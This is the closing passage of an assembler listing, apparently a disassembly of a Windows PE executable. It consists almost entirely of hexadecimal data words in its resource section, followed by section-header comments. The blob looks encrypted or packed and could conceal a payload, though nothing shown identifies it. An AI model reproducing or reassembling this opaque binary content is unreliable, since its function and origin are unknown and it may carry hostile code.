0B41EDEB8h, 0E294300Eh, 44C54726h, 0BE26C396h, 0F781213Ah dd 5BD5624Ch, 0DA0BD9AAh, 0C281303Dh, 7DC56C4Dh, 0D92FD0A7h dd 0C581303Eh, 79C56C4Ah, 0D82FC7A4h, 0CF81303Fh, 40D5644Dh dd 0BB23ECA9h, 0EC941B12h, 6CA04144h, 0B907DEAEh, 0E5992012h dd 4ECE6168h, 0D50BCFA6h, 2C813032h, 4CD47366h, 0A623EEA4h dd 11813611h, 28E1796Ch, 873ECF8Fh, 3B853816h, 69C56C74h dd 932FC7A6h, 8901272h, 56CD6548h, 0B93ECB96h, 1EB25530h dd 57C5566Fh, 0BE25C3B6h, 0E901270h, 57D2654Ch, 8A24C5ADh dd 3EF51417h, 4CF6747Ch, 0AB27DFAFh, 17933B27h, 56C16D6Ah dd 8C24C5ABh, 390126Dh, 45CE6940h, 8839DDAEh, 15902705h dd 59D26F62h, 0A426EDC0h, 34993409h, 7CCF6C79h, 0AB25E6BFh dd 169C190Eh, 67D26166h, 0A807AAFFh, 169C0319h, 5BC64F64h dd 0C82FC6D4h, 1C902527h, 79CC6954h, 0B73ACBF1h, 30923B0Eh dd 7ED04F11h, 0A938FAD5h, 3863005h, 75D25010h, 0B639CFD9h dd 6B36756h, 19D4737Dh, 0A725D8E9h, 5D862601h, 60C54E3Ch dd 0A618AACCh, 4B33102h, 44A06561h, 0AB0CDED2h, 18B4300Eh dd 74C97278h, 0B22FDEC3h, 0EA65520h, 79C9467Fh, 0A925FAD0h dd 1890210Eh, 60C5530Ah, 0DA26C3F2h, 0C983C0Bh, 76CC5309h dd 0EB4ADAD6h, 18943830h, 65C5695Eh, 0D40CCCFDh, 31F53031h dd 64D4726Eh, 0D00BC6D0h, 66963A30h, 64C97251h, 0D723ECD5h dd 11BB553Eh, 7ACA6444h, 0C81ADEDCh, 89C2333h, 7DC56761h dd 0DC21C5FAh, 17BB5537h, 6CC57240h, 0D10CCFD9h, 2CF53034h dd 69D24376h, 0E72FDECDh, 4963A25h, 45A07372h, 0D338E9DFh dd 30902137h, 6FC36F72h, 0CD0FD9D9h, 1C811B55h, 7EFE9A8Dh dd 0D62CFACFh, 319B3D21h, 47EAB0FFh, 0DC1ED8CBh, 39BC2430h dd 7EFE98ACh, 0B529C8C3h, 2FBD261Bh, 63DA929Ah, 0FB46C3C6h dd 3A811E21h, 65E9AB91h, 0C636C0C9h, 3A9B3F01h, 7ED4FA91h dd 0DB21D4E5h, 2B8C2A06h, 0AF79696h, 0C713D7E4h, 3C8B3A3Ah dd 78F1AE8Bh, 0D923D7DEh, 30802818h, 44978E8Dh, 0D034F0DEh dd 26BF3527h, 67F3828Ch, 0DA26CEE3h, 2B8A2627h, 0AFB9A96h dd 0C768EBE4h, 98F3E3Ch dd 7FE08696h, 0D073F2CBh, 269B2638h, 66E7A1FFh, 0D654F3FFh dd 0C8D2C3Ah, 64FB808Bh, 0F453C8CDh, 0C8E343Bh, 64F8838Bh dd 0E66C9BCDh, 3E921514h, 7AE5848Dh, 0DA56F9AAh, 30962026h dd 7EEA849Ch, 0DB56FAAAh, 2B87213Bh, 7EEB89FFh, 0C14BF7C2h dd 3E8D3A37h, 788D8892h, 0B541F4CFh, 3B8C2726h, 69E39FFFh dd 0B542F3C1h, 3A952F1Ch, 7EEE858Dh, 0C65AF9E9h, 31810830h dd 0AEF869Bh, 0D040FAE3h, 2BBA5127h, 49FD8CB8h, 0D05DFDC5h dd 3BBB4A36h, 7EE99CACh, 0DB7B92CFh, 31AF5821h, 7AC8939Ah dd 0B570FFCFh, 3AA8521Ch, 7EE3888Dh, 0DB55E0E5h, 1EB74900h dd 7EEBACFFh, 0D041FDCFh, 3EBF6821h, 66EDA29Bh, 0F16F8ECFh dd 16897803h, 4EADD1CCh, 0E72DC1E6h, 339B5F30h, 41E79190h dd 0E72CF5CFh, 2F985030h, 6FCA8F9Ah, 0F453CED3h, 38B36455h dd 78E595AEh, 0D94BDCD3h, 27905020h, 6F2DDFBEh, 0C14CDACDh dd 2AB85503h, 4B069B9Ah, 0B0C10BAAh, 3782FB7Eh, 0E27DDDFFh dd 0B603CB27h, 5AB8323Fh, 602F8CAEh, 0E5EA0DAFh, 0B81E5DEh dd 582A9B95h, 28B07AF9h, 0DCD00079h, 9F85D63Bh, 0B514A80Fh dd 9CC7EBD6h, 0A3FC54A8h, 8623B3BFh, 5FA47EAAh, 9F87D695h dd 0B512AEE3h, 0DBC2EDD0h, 0A77D76Fh, 0D575E9FAh, 8B472C55h dd 0C6FDD695h, 0B548C0C0h, 35CB3B55h, 0A1F87FDh, 0B57F2BC2h dd 0ECA4055h, 9F8B84ACh, 0B52E5227h, 0CA36700Ah, 0A43F832h dd 0E969822Fh, 4A48A5DEh, 691D2CFh, 0A51CE927h, 8EC42765h dd 0D88E82A8h, 9966FE21h, 0D04B2665h, 0A70CBC7h, 4AE52E42h dd 0CE40AEAAh, 876FFFD3h, 0B502FC25h, 0A087CC55h, 8FE53100h dd 0B528542Bh, 444FACD8h, 3885CDFFh, 3EE88855h, 6FEEA7D0h dd 7EAC49FFh, 2C99FBA1h, 0B7C1214Eh, 0F59434E2h, 764AB221h dd 5FC0C800h, 8B37CAFFh, 850EF247h, 0D2762C55h, 3A49297Ah dd 0E44722AAh, 0EEF4E04h, 26695D00h, 0B195729Ah, 9228E271h dd 5767F7D4h, 0E0117568h, 5FBC1CBDh, 0E7E79BFFh, 0B5206A1Fh dd 0CA36E43Fh, 0A55DF7Fh, 95C23DFAh, 5F901A71h, 6C68007Ch dd 0AFC8EB6Dh, 7F741965h, 10AB4638h, 0B5296D9Ah, 9CE5187Fh dd 0B08C395h, 0C6F35F55h, 0DAA2E851h, 6291B53Fh, 0B50B6BA1h dd 5CEDC6DEh, 0BFEDFCAFh, 0B53A704Eh, 5EB9AFDEh, 80D4BFFFh dd 0B50968A2h, 949FEC56h, 0F995359Fh, 0B07C090Ch, 0B446F112h dd 59A3E3Dh, 0E6D3ECFDh, 0BE2DEDEh, 580DFC95h, 20F999C0h dd 5F813DC8h, 81577F7Ch, 85296C3Fh, 0DC673B55h, 0D9DBD15h dd 0B5EC64C0h, 9CAC58DCh, 26AE2C96h, 3106639Ah, 9F9D065Dh dd 834208BDh, 852E953Fh, 0D24FFA55h, 0F4FDD6BDh, 76E01463h dd 5FACE400h, 8B0BB6FFh, 851B1647h, 0A4368055h, 895585D3h dd 0B4F77BD6h, 5E138E5Bh, 0E5D5B4FEh, 0B3FE5CA1h, 5CAD6107h dd 9DACB3FDh, 0B2CD7181h, 0D825F4D9h, 753B6D8h, 0B1960CA7h dd 5BA703B9h, 5203E7FBh, 25040CA6h, 5A962A75h, 92DD79C9h dd 0AFFA5BA1h, 5BCF541Eh, 6C4EC5A8h, 0EEF959A4h, 0A931FB1Ch dd 954E9ED3h, 0F68CAE26h, 53CB571Dh, 554DADF6h, 8CD3E35Dh dd 0A9A2024Eh, 31607563h, 6B730FA1h, 4142173Fh, 6A9F20A5h dd 0FDA407A0h, 2135FF1Ch, 0A64A9AD8h, 7980951Ah, 9E35FF1Fh dd 734A9AD8h, 0FFA711C9h, 0DFF84422h, 0FD4BAE65h, 67C6FE9Dh dd 0A2F9102Dh, 0AC1AFA5Ah, 0F6A505CCh, 0A935FF14h, 7A4A9ADBh dd 0A5F75D5Fh, 6BD4FF45h, 33DF55E7h, 0F7F565B6h, 626995BBh dd 3B17AADEh, 9D75559Dh, 0BA17549h, 0ED362766h, 0BB1655A8h dd 5CA095CFh, 2649AADCh, 2527AAC1h, 0B4280F81h, 0F94AAAEBh dd 0A0F5A512h, 709E8040h, 750CBA9Fh, 1BFA55ABh, 49A000DEh dd 816A9469h, 0A0741365h, 0FEE496Eh, 3CC1889Dh, 0D2F41355h dd 2DF1CE16h, 0A11CFBE7h, 0B034C06Dh, 7DF9000Ch, 4ECFA527h dd 72F55591h, 45A0008Ah, 0A21A9464h, 1FFA03D9h, 44A0009Fh dd 43426C67h, 1DFA58B3h, 43A000A0h, 1D3F8ADFh, 97CF6922h dd 42A08CBDh, 0CD4707E2h, 0AAD575ADh, 35C56716h, 0D0E6D594h dd 178920ACh, 2880FF48h, 9A3FDE94h, 0E5F62B0Ah, 4A8F2F0Fh dd 150D6CB7h, 2EC45A8Ah, 3EA02724h, 16184829h, 0A3D93C1Ch dd 6D603333h, 1AFA8Dh, 92F55581h, 52D76F76h, 832BC5B0h dd 4060AA87h, 0BEA0301Dh, 0D57CDE1Bh, 6B70DC4Fh, 6BA0301Ch dd 0E549AAB2h, 0D9A40401h, 0EC35FF7Fh, 694A9AF5h, 0BEEE2511h dd 0F193502Eh, 0B11AFB8Ch, 180A04D2h, 37902C2Ch, 1D6EAE50h dd 0BCDE9817h, 0B663F82Ch, 0D15FC55Bh, 480C5481h, 31845CA0h dd 0E04AAA3Dh, 67740880h, 34901D57h, 0EF09175Fh, 3C7E554Fh dd 33903062h, 53C151D0h, 88C56539h, 0B72BA5DBh, 0DD7A9A91h dd 0B7CAC0F6h, 0B4A30017h, 0DC7A9AE6h, 0E9D57F5h, 0CFA00035h dd 0EB66C345h, 0D93CBE7Bh, 46D66561h, 8A16CFACh, 0ED862C12h dd 63CC6147h, 0AB25C7ABh, 51C65500h, 0DBF2CFA8h, 39C9F814h dd 81B53F7Bh, 46F257DBh, 6CFF27D4h, 38F5656Ah, 2BA00036h dd 2807AE46h, 0E60AAA89h, 67A48D8Bh, 0D54AAACAh, 3878FE13h dd 0CD92AB1Bh, 36E1CC65h, 4D60D88Fh, 7CA0302Eh, 2C18ACA2h dd 4DD9CCE6h, 3D48B1Dh, 0CA8E29CFh, 0F9FA95F7h, 26A001B9h dd 0F122AAACh, 2DF55570h, 0B05F0B71h, 0D07A8664h, 0F1F90BFBh dd 0B9291054h, 0CF7A9AF3h, 49CED8E6h, 0C0210029h, 0C1B55AC3h dd 789F063Fh, 975F0672h, 0CD7A9AF1h, 5BB0C092h, 0DEF00027h dd 0FC7A9974h, 0BB60AA6Ch, 78A0303Dh, 0C4D96A45h, 75F401EFh dd 24216615h, 0C63EF0F2h, 1960AA39h, 0F7A03038h, 0C94AABFFh dd 733DEBE4h, 0AAAF0013h, 0BCC7B4F3h, 769D4A59h, 4BA00013h dd 0EB6B3F43h, 26A35557h, 304995EEh, 85C1AA8Bh, 0FB36565Ah dd 0C9A37840h, 4E6AD831h, 5B784D2Fh, 1A0D513Ch, 0C5322B7Ah dd 1C900601h, 0EA42057Ah, 0EAE741E1h, 1F7E716Fh, 0E4A35929h dd 0CD56F83Ch, 6FBB51D5h, 94948BDFh, 8FC159B5h, 5440DC69h dd 9EA0303Bh, 0F7FF9183h, 18F56550h, 23152B89h, 844A9A84h dd 59C56EEAh, 62230F09h, 8DB5554Ch, 2B40DC9Eh, 9BA03038h dd 8D7AED3Fh, 0DA5055Dh, 10CA5004h, 0BC4AAAD9h, 0E30A02DCh dd 1090157Eh, 90BB3F4Fh, 0E80A556Bh, 0F90157Dh, 0B5B5522Ch dd 9B0A6EDEh, 3D2589FBh, 0D34A9A9Eh, 35F53F59h, 6C35FF53h dd 334A9A81h, 52C512DDh, 0E40C102h, 0B720FAFCh, 4DC8C0A8h dd 8E290031h, 0B67A9AE0h, 609F81DDh, 5A92FF52h, 85791F55h dd 0CA0A5565h, 0AAFD3A6h, 857A2C21h, 5B7D5465h, 0C70B01DBh dd 3E489881h, 0EA786F06h, 0AADCDB4h, 815DF321h, 0CAD9ACDEh dd 0AACCCC8h, 85012B21h, 745C5165h, 0F079503Dh, 0A8312027h dd 0EA15065h, 5BCBAAACh, 99453155h, 0A0BF4F65h, 3AB2346Ah dd 0C66660AAh, 3AD4646Fh, 66FA9991h, 0F578C6CFh, 33882526h dd 24A5C493h, 992DCDCEh, 0CEC7D78h, 4FC2A5A6h, 0C003FCE7h dd 318E3927h, 64FAB68Bh, 0D950EDDEh, 39E2F06h, 7CE691ACh dd 0C65BFDC3h, 3E811A09h, 4BF7968Dh, 0C658FEC9h, 3EB81426h dd 6FFF938Dh, 0C64EF9DEh, 2D8E0109h, 66F0869Ah, 0D954CBC6h dd 39F253Ch, 64F184ACh, 0D148FBCEh, 398A3705h, 56EA8396h dd 0DD4DECEBh, 258D363Ah, 7ACF8A9Ah, 0D651F4DAh, 308A3734h dd 46D19E91h, 0B543E4C3h, 0BA40D06h, 4FDEADA8h, 0D65FDBF6h dd 30922E27h, 5DD79F99h, 0DA51FBC3h, 1CBC3322h, 6FF8988Ah dd 0D062E0C4h, 30B64C27h dd 72CCB591h, 0C75CFFDAh, 0BDE4C30h, 6FEF9A9Eh, 0C65DDADEh dd 5FDF3D21h, 4ED4B7FFh, 0C7418FBAh, 32B5443Ah, 61F288D1h dd 0C55CFED8h, 31B21534h, 44858A99h, 9564CCE3h, 3AB44320h dd 6BEA8188h, 0F07DDBA0h, 15BA1907h, 2ACDAAB0h, 0C744FB8Ch dd 55EB4D21h, 0A820AAAh, 34718CAAh, 6FF7D1B8h, 650427FFh dd 0B52BBBBFh, 73FBA3AAh, 0E241E0CFh, 0DF7BFEB5h, 0BE60BE4Bh dd 537FEFD4h, 0C007B506h, 6155527Fh, 290BC300h, 99D93527h dd 29583365h, 6CD88AFDh, 0BBA20A0Fh, 0D0D2027Eh, 3A57E87Ah dd 0F3AF7CAAh, 0A19FBDAFh, 0E87A6A04h, 4A900865h, 37D00079h dd 0A7ADBFBh, 8CB17BFCh, 0B6CF1F79h, 0A79D976h, 0A08A0627h dd 359E2E65h, 0F576B2FFh, 850ECB3Fh, 7BB1AE55h, 7B02D3F7h dd 0B5218942h, 1C8A7F55h, 463A92D1h, 0A8B57FAAh, 54CB1B79h dd 6061A13Fh, 0DDF72FA8h, 0A035D5ACh, 3A5F0D6Ah, 0C1DEFBAAh dd 0B719D657h, 0A73D3F4h, 0EA5E3BF9h, 1BE67B1Ah, 0F5729EB3h dd 8530613Fh, 0A686CF55h, 0BFFC2E00h, 0B52B5755h, 5FC7223Dh dd 9F8F86FFh, 0B52A568Bh, 5FC528BDh, 582B93FFh, 0E75C2FE3h dd 0B817806h, 0F538CEBCh, 8533913Fh, 5FC4CB55h, 4231CDFFh dd 0E64324E5h, 0CA3D7455h, 0A5CE716h, 0E447BF99h, 3590223Fh dd 0A6BA3FEh, 4A4335AAh, 6FEBD1C0h, 0F59249FFh, 384457DEh dd 6F93E0C0h, 91E444FFh, 0DF13438Dh, 45D64C55h, 5B68C8FFh dd 0C0878DFAh, 0A0BD2D79h, 3A4C0A6Ah, 0B51A99AAh, 0CE91C55h dd 385594BAh, 0F95C3484h, 1E2EE455h, 0E265F5D3h, 0B50F6FA0h dd 2DCA6922h, 6C10AA96h, 4A5E6EEBh, 6F92C0C0h, 0EFE64AFFh dd 0BA0D5D81h, 0D359564h, 8362F2E6h, 85209B2Fh, 0CA484655h dd 0A51EDBEh, 0B50F0339h, 0EA3B1655h, 0A50D9A0h, 68B7E7F3h dd 0B7B52579h, 0F5A04D03h, 118CAECCh, 5FB42475h, 0ACFB3DAFh dd 0B508588Ah, 7FD786D8h, 5E0DBDCFh, 0B56D66C0h, 5FB07A07h dd 9FA33CFFh, 0B5364A4Bh, 2AEBD1D0h, 9DD636DDh, 0E705558Ah dd 0EA3D163Fh, 0A6A9A5Bh, 0E55432FEh, 0CA505D04h, 0A69951Ah dd 68969CF2h, 99AE3E79h, 3A76467Ah, 0DBEA62AAh, 0A052F2A7h dd 3A45CA72h, 0F984A6AAh, 9AC3C40h, 0E265E9ABh, 4AFF92F3h dd 4AE78E92h, 5E03B5CFh, 0FE176BF5h, 9955F5A6h, 3941F87Bh dd 0EC8608A9h, 0AF92E167h, 8D944C02h, 0B2CD48E4h, 8DE6D04h dd 82DF7BCFh, 0B1CC6CE8h, 0AF65600h, 5700E0ABh, 9CCECE59h dd 0CF590660h, 5609CD7h, 0DAE5B264h, 59A9ED3Bh, 4C1CAFF9h dd 0FEB80EE8h, 14E02A07h, 96B1AEB4h, 0ADC874E2h, 57A30FA5h dd 5105FEF7h, 0CDA123C7h, 17C77720h, 94B3FCF6h, 0ABC67D78h dd 0AA148CD8h, 684B9BD9h, 0AAF55568h, 0ABA06A1Ch, 0CF66B361h dd 7B60D89Fh, 0DEA03056h, 0CE676D4Eh, 0FFA7039Eh, 794595B7h dd 39C9AAC2h, 4860D891h, 1A03058h, 0AA4BC0A6h, 0A6F73DCEh dd 835F8046h, 4B0B718h, 9748D664h, 4FA03050h, 7222A19Bh dd 5BF55589h, 7E8C69D1h, 0F94642EEh, 0F0A25599h, 7EEB430Ch dd 0B40E84DFh, 370A55D4h, 4C902C03h, 0F74DC27Fh, 14785597h dd 4B9018F7h, 5BF727B2h, 48F565BAh, 0B55FF1CCh, 0F54AA602h dd 0D1BC0295h, 1DE54E76h, 0B806EEC7h, 0DF60AA94h, 0CDA03012h dd 0C6CEA528h, 0EF55591h, 47A00555h, 6FF27E7h, 0C5F5658Ah dd 6A69BDB1h, 0A4A2AAD6h, 180AAA60h, 758CCD86h, 7445AAE5h dd 9AF55780h, 4530ECBBh, 871EAAE4h, 99F5548Eh, 6F0D95C6h dd 2ACBAAD3h, 98F5541Eh, 28748B68h, 78B5F8E2h, 97C57940h dd 34F9C0B2h, 0FFC2C2ECh, 30A558Ch, 40902C5Fh, 56C9480Bh dd 95C5752Dh, 0B2897535h, 0DA6A005Ah, 10A058Ah, 3E902C8Dh dd 6D456A5Bh, 93F55400h, 0B6AC40B8h, 677A55DDh, 0A2D5F30Dh dd 0C225C632h, 0E64A9AF2h, 909F55EDh, 0AE5F025Bh, 0E67A861Eh dd 9F0AAD05h, 3AA160B4h, 70C739DAh, 8FC57527h, 6AF21045h dd 0C8FF3F26h, 4E7055B4h, 39E08521h, 5EC7AAD8h, 8DC57547h dd 4648089Ch, 8AB55521h, 8CF55516h, 0BF462B72h, 1E1E8EE2h dd 0BBD96414h, 0E71D8D2Bh, 514A9AF5h, 7CA7BD81h, 0A12DFFD5h dd 0DF7A8A6Bh, 9D9D5515h, 61A00029h, 1FDF5580h, 5F56552h dd 0BFB4246Ch, 0ED7AE547h, 31FA057Dh, 15E48B2Dh, 0D4AA6BC5h dd 94F41F7Eh, 7AB2026Ch, 0FF0EA1D3h, 8A14D573h, 7EA8E0E4h dd 0CA6EEEC4h, 9A56785h, 1E8CFF99h, 0D95642CEh, 0ADD05579h dd 3807815h, 0E26A84EDh, 0ACD0705Dh, 5485781Ah, 0DD398FECh dd 0CFBC1A3Dh, 0D4F70001h, 0E6614F5Eh, 2C31D476h, 40A00020h dd 861DFACAh, 5334C08Ah, 0A42B002Fh, 0D47ABFFBh, 6516551Eh dd 79ADC975h, 0D34AAF20h, 19D07373h, 0D8F70017h, 0E2614F52h dd 7031D672h, 4EABEB4Ch, 0D14AAACEh, 5B2DE8FCh, 76F7002Bh dd 0FC8B3F3Ah, 0BA705540h, 912D5464h, 0CF7A863Bh, 6CC7F0ECh dd 0AEA00029h, 0FE64544Eh, 123B7E6Eh, 71F65118h, 0E1F73F3Dh dd 8F76555Dh, 0B08F7E17h, 79C7544Ah, 76C57993h, 8E520DA6h dd 232ABAB5h, 8A0AA331h, 0FCB77274h, 0CB3D27B6h, 0BB7EBF81h dd 0A32DCE3Fh, 0C97A8641h, 8472F19Ah, 0E2F3B9F8h, 0F8661B28h dd 1D48D568h, 1DA03007h, 0F72280C8h, 8EF55512h, 2B8C6984h dd 38F72ABBh, 70F56548h, 9F671164h, 0C57A8A1Ch, 6FF55565h dd 375E85C9h, 2D4AAA89h, 910AAB6Ch, 18A4C253h, 0EDB51F35h dd 92A35553h, 278C0D98h, 3DB229B7h, 6C4ED16Dh, 9329000Ch dd 0C17A9AB5h, 94A3550Bh, 258C5D9Eh, 0CF8A2FB5h, 6AF5F1E4h dd 44602B0Ah, 0EF49C0E4h, 699D5435h, 45600009h, 95BB3F4Ch dd 9076556Eh, 20240FF7h, 344AAAB6h, 57C552D8h, 1A2D8D07h dd 314A9A81h, 56C546C9h, 7AF25106h, 2EB5FAB0h, 65C5794Eh dd 5FF886h, 0BA4EAA2Bh, 9BF53F5Ah, 3E9007B1h, 0A8DF55AEh dd 0E0F56575h, 89AFFFFBh, 0B84AA944h, 52EED0D1h, 0C5930032h dd 0E71B69AFh, 30F13F06h, 3BA7B5FEh, 23B5AA9Bh, 60C57EA3h dd 8EAFC085h, 0B54AA96Fh, 0DA7C9C66h, 0AAFCFE0h, 0DD18F8FBh dd 5FFB544Ah, 4F0B01AFh, 30489886h, 21775C95h, 839DFDFCh dd 8577842Fh, 14799155h, 6ACF44C7h, 6775A6AAh, 0AE069056h dd 8F121A08h, 0B5759585h, 0E7CC1BDEh, 0A9AE133h, 74477699h dd 0BE18BEA2h, 3ABE7C76h, 0BA80A39Ah, 0A6E805E2h, 5915CE1Ch dd 0F6F5ADB2h, 163D4E41h, 9BF3694h, 0EA7B207Ah, 0A6822522h dd 89DFE88Bh, 0C741ACD0h, 63A0C08Ah, 981B774h, 0F1B28FE8h dd 861DB51Dh, 8FAF35DCh, 0B50EAEB1h, 1B621096h, 821AFFDBh dd 0B53D9D12h, 6E2B8866h, 3ABCC5CDh, 8412AC84h, 14930975h dd 7AFD9F8Dh, 0DB52B5CBh, 55EB2933h, 6CF9CCDCh, 0D057FBD8h dd 3C973675h, 7EE7CDC2h, 9A03E9DEh, 14900A7Ah, 7AE2808Dh dd 0DB51B6CBh, 2DCC2C33h, 63B2C29Ch, 9515A697h, 2B862B22h dd 2ABDD197h, 0D25FF3C2h, 6EDC353Dh, 73FF98DFh, 9708F0C6h dd 3B922F37h, 3AB0989Ah, 9A08AA88h, 3EAD593Ch, 7B78C92h dd 3ECD18A0h, 6FEE25D8h, 89C658FFh, 1BC09643h, 605C3420h dd 64F5AC8Bh, 3EF265DFh, 4451B7ABh, 0BA86D6CFh, 0B0D91396h dd 0B1AE95A7h, 7FAADA7Fh, 0B468045Dh, 8005E570h, 45C6D920h dd 5D5BD7EEh, 0B727121Ah, 0A83E1D3h, 0B52DD5C2h, 0AE306355h dd 7E7D1D02h, 0AEA1078Ah, 0D2D70765h, 0C5AAE0CBh, 861706E4h dd 0D872C5A8h, 0BFE6D26h, 929F3F27h, 0AC293565h, 0C5F41C5Bh dd 8A48241h, 5FE41AAAh dd 39A15503h, 0D4142463h, 25EF3527h, 2A51DF88h, 0C17BBB00h dd 2BFC0EB9h, 7F7CE022h, 3E1B6542h, 0C54F754h, 0A7BEBCFh dd 0F07DC097h, 62E24455h, 0A2899ACh, 4A01AFDEh, 62CFD0AAh dd 0A348DB7h, 0E51E91DEh, 2BCE7E1Dh, 5939E5F4h, 302D82FAh dd 0A032D314h, 3A245201h, 86CA819Ah, 0A032B3BCh, 37755D00h dd 0F66EC9FDh, 0A1ECAF5Ah, 5D482A00h, 0BA512AE9h, 0A03436D1h dd 4923E900h, 31114C99h, 0A036D744h, 5E2083C2h, 0B39972E5h dd 6C37D7ABh, 0F75C3A24h, 31138355h, 0A038DAACh, 1C9903CCh dd 5D1B7BAAh, 0A039D80Ch, 0A70D017h, 589B27AAh, 5FF50C6Ch dd 0A6EFD16h, 87E61DAAh, 6FE791DEh, 830ACECFh, 0E6A5F888h dd 5EC31365h, 0A485C78Ah, 5CE88854h, 5FC22346h, 47524D99h dd 0BD9379F0h, 0D4C12154h, 0D468F7A1h, 0E52EF4CCh, 0A7452F10h dd 0FD6ACAFFh, 951462E9h, 0DAB01F55h, 0A69C914h, 0B74F305Ch dd 5F5F9A5Ah, 74E9C8FFh, 9532528Ah, 8B391275h, 0E267C7FFh dd 4AEE8C0Dh, 5F759E5Ah, 48EDC6FFh, 0A55AFBA2h, 5BC8DA7Eh dd 0F8E05CCh, 0FF86A7A9h, 743F9345h, 0E264F4CFh, 4AF193FCh dd 5FB9B6BDh, 2DFE48FFh, 0B60D5D9Ah, 6F8833C8h, 0F60C2AFFh dd 31039355h, 5FB717DAh, 3A427474h, 0EB806B9Ah, 0B7681569h dd 0F59F3DA8h, 0FF8B17D8h, 5FB57571h, 5CA1341Fh, 381D13A9h dd 6FA414E0h, 1A24BDFFh, 0B50E9B13h, 0FA404455h, 8BEBC4Eh dd 0EB58C359h, 0CD831D07h, 0ADE3B72h, 3C6066AAh, 0A04E8AC5h dd 0EF8B5300h, 3E5F9A55h, 15B31C1Fh, 0C1B37EFh, 3C2C2781h dd 5FAF50D2h, 2A1F7EFFh, 9523438Ah, 0D48645DCh, 8FD3A8B5h dd 0B532528Dh, 2CA5476Ch, 21D3EFCh, 361123ABh, 0D4AC5436h dd 3A66997Ah, 0BD4261AAh, 6CFB4854h, 28DED12Dh, 0ECFDD0CEh dd 6EADB7D7h, 654B4CEh, 4C02CA2Dh, 7E1CF6ACh, 0F75383CDh dd 82D1303Dh, 431DF752h, 0F85282CCh, 81D79132h, 502A8A51h dd 8B5181CBh, 80CB4833h, 30F45750h, 2E54FFAh, 50FA6A95h dd 698960DAh, 3FA50F9h, 51F96994h, 688FC9DBh, 0FCFB23F8h dd 52F8688Dh, 679300F8h, 97B2FBF7h, 0ACC77BFFh, 66A5A7CFh dd 0C24CACC6h, 0ABF65649h, 54CB5C4Bh, 2AA64674h, 5AAD5590h dd 2C25C145h, 7A4A9AE1h, 6176965Fh, 92AFF0B6h, 0CE5FD276h dd 0B8C8969Eh, 27A02A48h, 81CBCCEEh, 0D69959B9h, 0B9C01332h dd 3B55535h, 0FD1D50E9h, 0B85FFFBBh, 4B55522h, 880A7BFAh dd 5D94563Dh, 0FA4A8F57h, 11D359Ah, 3B5FFFBBh, 0DD0E21D7h dd 5C40D8A9h, 0C6A0306Dh, 792CA2BDh, 0D1F753A2h, 4CC85667h dd 7C4A55ECh, 0F3F53F53h, 0E235FF11h, 754A9AC7h, 9E745D52h dd 169F3F1Ch, 33C9A99Fh, 62FDBD91h, 3648FFC0h, 95B55516h dd 9E81ED57h, 0F94B003Eh, 0F34A8550h, 9DE5BD93h, 6762003Dh dd 0F27A12E7h, 9F1D5592h, 84A0003Ch, 0A5C7AAC2h, 0B53859B5h dd 39A0F8B8h, 0F0A2CAFCh, 11F55590h, 1990246Eh, 2CBB06Fh dd 99C57E38h, 0BC4E07D1h, 0EA88CB1Ch, 150Dh dup(0) _rsrc ends ; Section 3. (virtual address 0001F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 41F000h align 2000h _idata2 ends end start